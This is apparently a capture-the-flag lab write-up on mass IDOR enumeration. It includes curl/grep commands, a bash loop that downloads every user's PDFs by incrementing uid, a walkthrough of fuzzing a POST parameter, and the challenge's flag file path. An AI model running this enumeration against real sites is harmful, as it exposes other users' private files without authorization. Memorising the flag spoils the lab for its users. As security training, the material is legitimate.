# Mass IDOR Enumeration

```
http://SERVER_IP:PORT/documents.php?uid=1
http://SERVER_IP:PORT/documents.php?uid=2
```

```
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
```

<pre data-overflow="wrap"><code><strong># Ctrl+U to see the source page
</strong>&#x3C;li class='pure-tree_link'>&#x3C;a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice&#x3C;/a>&#x3C;/li>
&#x3C;li class='pure-tree_link'>&#x3C;a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report&#x3C;/a>&#x3C;/li>
</code></pre>

<pre data-overflow="wrap"><code><strong># Then use curl
</strong>curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "&#x3C;li class='pure-tree_link'>"

<strong># Or just use regex to get the specific file that we need
</strong>curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
</code></pre>

{% code overflow="wrap" %}

```
#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done
```

{% endcode %}

***

For the challenge

Intercept this page

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FtcPlGqzqkvYxJLbbs0I4%2Fimage.png?alt=media&#x26;token=ec04cf22-7ecb-4a77-a28e-b02a1c9d072a" alt=""><figcaption></figcaption></figure>

It's a POST request

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FBQqhEpGiews1uqGtWNob%2Fimage.png?alt=media&#x26;token=b48a2dad-ca16-470e-bcdf-84d53455caa4" alt=""><figcaption></figcaption></figure>

Set a payload&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FiRxF6YHfAhNbJvzNU1OP%2Fimage.png?alt=media&#x26;token=d4d88840-461a-406f-a3a4-a86302350e33" alt=""><figcaption></figcaption></figure>

See the result

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FEzGrncYiaTHDqEiwu2g8%2Fimage.png?alt=media&#x26;token=d43d2ef4-4a84-4ea5-9cad-951535f088bd" alt=""><figcaption></figcaption></figure>

Verify the result

```
curl -i -X POST -d 'uid=15' http://94.237.54.116:49507/documents.php
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FmfbMUOi7p9DiZ8rudryx%2Fimage.png?alt=media&#x26;token=bc581b93-9a7d-4411-a1a1-d3fe017fdbb7" alt=""><figcaption></figcaption></figure>

Get the result

```
http://94.237.54.116:49507/documents/flag_11dfa168ac8eb2958e38425728623c98.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FmO1busYSgUOBCHrxdNOW%2Fimage.png?alt=media&#x26;token=877f54a7-2504-453d-897a-fe6ee3478c7b" alt=""><figcaption></figcaption></figure>

```
curl http://94.237.54.116:49507/documents/flag_11dfa168ac8eb2958e38425728623c98.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FUGaiJqL015pAzwPYUNeL%2Fimage.png?alt=media&#x26;token=ce377b18-4943-4f2b-8935-5c399a4ff58d" alt=""><figcaption></figcaption></figure>
